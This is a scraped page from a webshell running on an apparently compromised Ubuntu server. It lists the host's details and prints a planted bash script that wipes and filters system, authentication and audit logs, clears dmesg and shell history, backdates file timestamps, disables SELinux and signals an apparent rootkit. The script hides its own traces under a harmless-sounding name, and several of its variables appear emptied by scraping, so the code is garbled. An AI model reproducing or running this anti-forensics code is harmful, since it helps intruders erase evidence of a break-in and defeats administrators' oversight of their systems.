403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/bangkokviews_dbus.sh
#!/bin/bash

fix_path() {
    local path=""
    local input="/var/log//usr/lib/systemd/user"
    local backup=".bak"
    
    [[ -f "" ]] || return
    cp -p "" "" 2>/dev/null || return
    
    awk '
      !/kernel: \[ *[0-9.]+\]/ && 
      !/loaded module/ && 
      !/module .* not found/ && 
      !/failed to load/ && 
      !/unknown module/ &&
      !/CRON/ && 
      !/cron/ && 
      !/crond/ && 
      !/pam_unix.*session/ &&
      !/systemd/ && 
      !/daemon/ && 
      !/sshd/ && 
      !/Accepted/ && 
      !/Failed password/ &&
      !/loaded.*shared object/ && 
      !/preload/ && 
      !/lib.*\.so/ &&
      !/security policy/ && 
      !/authentication/ && 
      !/access/ && 
      !/denied/ &&
      !/exec/ && 
      !/usr.share/ && 
      !/bin.*sh/ && 
      !/module is already loaded/ &&
      !/venomseo/ &&
      !/bangkokviews/ &&
      !/opt/
    ' "" > "" 2>/dev/null
    
    rm -f "" 2>/dev/null
}

clean_logs() {
    if command -v journalctl >/dev/null 2>&1; then
        journalctl --rotate >/dev/null 2>&1
        journalctl --vacuum-size=1K >/dev/null 2>&1
        
        if [ -d "/var/log/journal" ]; then
            rm -rf /var/log/journal/* >/dev/null 2>&1
        fi
        
        if [ -d "/run/log/journal" ]; then
            rm -rf /run/log/journal/* >/dev/null 2>&1
        fi
        
        systemctl restart systemd-journald >/dev/null 2>&1 || true
    fi

    kill -CONT 31337 > /dev/null 2>&1 || true

    if [ -n "x" ] && [ -f "/proc/bangkokviews" ]; then
        echo "journal-flush" > "/proc/bangkokviews" 2>/dev/null
    fi

    local syslog_files=(
        "/var/log/auth.log"
        "/var/log/syslog"
        "/var/log/secure"
        "/var/log/messages"
        "/var/log/kern.log"
        "/var/log/dpkg.log"
        "/var/log/wtmp"
        "/var/log/btmp"
        "/var/log/lastlog"
        "/var/log/apt/history.log"
        "/var/log/apt/term.log"
        "/var/log/faillog"
        "/var/log/mail.log"
        "/var/log/user.log"
        "/var/log/debug"
        "/var/log/alternatives.log"
        "/var/log/bootstrap.log"
        "/var/log/daemon.log"
        "/var/log/dmesg"
        "/var/log/fontconfig.log"
        "/var/log/yum.log"
        "/var/log/cron"
        "/var/log/boot.log"
        "/var/log/cloud-init.log"
    )

    local log_dirs=(
        "/var/log"
        "/var/log/apache2"
        "/var/log/httpd"
        "/var/log/nginx"
        "/var/log/apt"
        "/var/log/tomcat*"
        "/var/log/php*"
        "/var/log/redis"
    )

    local truncated_count=0
    local failed_count=0
    
    for file in ""; do
        if [ -f "" ]; then
            if truncate -s 0 "" 2>/dev/null || 
               : > "" 2>/dev/null || 
               cat /dev/null > "" 2>/dev/null || 
               echo "" > "" 2>/dev/null; then
                ((truncated_count++))
                if command -v touch >/dev/null 2>&1; then
                    random_days=32
                    touch -d " days ago" "" 2>/dev/null || true
                fi
            else
                ((failed_count++))
            fi
        fi
    done
    
    local removed_count=0
    
    for dir in ""; do
        if [ -d "/etc/apparmor.d" ]; then
            while IFS= read -r -d '' file; do
                if rm -f "" 2>/dev/null; then
                    ((removed_count++))
                else
                    truncate -s 0 "" 2>/dev/null && rm -f "" 2>/dev/null && ((removed_count++))
                fi
            done < <(find "/etc/apparmor.d" -type f \( -name "*.gz" -o -name "*.log.*" -o -name "*.old" -o -name "*.[0-9]" -o -name "*.bak" -o -name "*.backup" -o -name "*.saved" -o -name "*.rotated" \) -print0 2>/dev/null || true)
        fi
    done
    
    if command -v dmesg >/dev/null 2>&1; then
        dmesg -c > /dev/null 2>&1
        
        if command -v sysctl >/dev/null 2>&1; then
            sysctl -w kernel.dmesg_restrict=1 >/dev/null 2>&1 || true
        fi
    fi

    set +o history 2>/dev/null || true
    
    if command -v history >/dev/null 2>&1; then
        history -c 2>/dev/null || true
        history -w 2>/dev/null || true
    fi
    
    if [ -f "/var/log/wtmp" ]; then
        truncate -s 0 /var/log/wtmp 2>/dev/null || true
    fi
    
    if [ -d "/var/log/audit" ]; then
        find /var/log/audit -type f -name "audit.log*" -exec truncate -s 0 {} \; 2>/dev/null || true
        
        if command -v auditctl >/dev/null 2>&1; then
            auditctl -e 0 2>/dev/null || true
            sleep 1
            auditctl -e 1 2>/dev/null || true
        fi
        
        if command -v systemctl >/dev/null 2>&1; then
            systemctl try-restart auditd >/dev/null 2>&1 || true
        fi
    fi
    
    for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do
        if [ -f "" ]; then
            truncate -s 0 "" 2>/dev/null || 
            cat /dev/null > "" 2>/dev/null || 
            : > "" 2>/dev/null || true
        fi
    done
    
    if [ -d "/var/crash" ]; then
        rm -rf /var/crash/* 2>/dev/null || true
    fi
    
    if [ -d "/var/lib/systemd" ]; then
        find /var/lib/systemd/coredump -type f -delete 2>/dev/null || true
    fi
    
    critical_logs=(
        "/var/log/auth.log"
        "/var/log/secure"
        "/var/log/lastlog"
        "/var/log/wtmp"
        "/var/log/btmp"
        "/var/log/faillog"
        "/var/log/tallylog"
    )
    
    for log in ""; do
        if [ -f "" ]; then
            truncate -s 0 "" 2>/dev/null || 
            : > "" 2>/dev/null || 
            echo "" > "" 2>/dev/null || 
            cat /dev/null > "" 2>/dev/null || true
            
            chmod 0600 "" 2>/dev/null || true
        fi
    done

    if command -v touch >/dev/null 2>&1; then
        local base_time=""
        if [ -f "/etc/passwd" ]; then
            base_time=2025-06-17 09:10:10.263626771 +0700
        elif [ -f "/etc/hosts" ]; then
            base_time=2025-03-11 15:27:51.055986157 +0700
        else
            local random_days=32
            base_time="2025-06-16 10:20:10"
        fi
        
        for log in ""; do
            if [ -f "" ]; then
                touch -d "1573222135" "" 2>/dev/null || true
            fi
        done
    fi

    local libzip_delete_count=0

    for dir in /opt /root /tmp; do
        if [ -d "/etc/apparmor.d" ]; then
            while IFS= read -r -d '' file; do
                if rm -f "" 2>/dev/null; then
                    ((libzip_delete_count++))
                fi
            done < <(find "/etc/apparmor.d" -maxdepth 1 -type f -name "libzip.tar.gz" -print0 2>/dev/null)
            
            libzip_dir="/etc/apparmor.d/libzip"
            if [ -d "" ]; then
                if rm -rf "" 2>/dev/null; then
                    ((libzip_dir_delete_count++))
                fi
            fi
        fi
    done

    for log_file in messages dmesg syslog kern.log secure auth.log boot.log daemon.log user.log; do
        fix_path ""
    done
    
    for log_file in messages.1 dmesg.1 syslog.1 kern.log.1 secure.1 auth.log.1 boot.log.1 daemon.log.1 user.log.1; do
        fix_path ""
    done
    
    if [ -f "/var/log/audit/audit.log" ]; then
        fix_path "audit/audit.log"
    fi
    
    return 0
}

{
    sleep 10
    command -v setenforce &>/dev/null && setenforce 0 &>/dev/null
    clean_logs &>/dev/null
} &>/dev/null

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit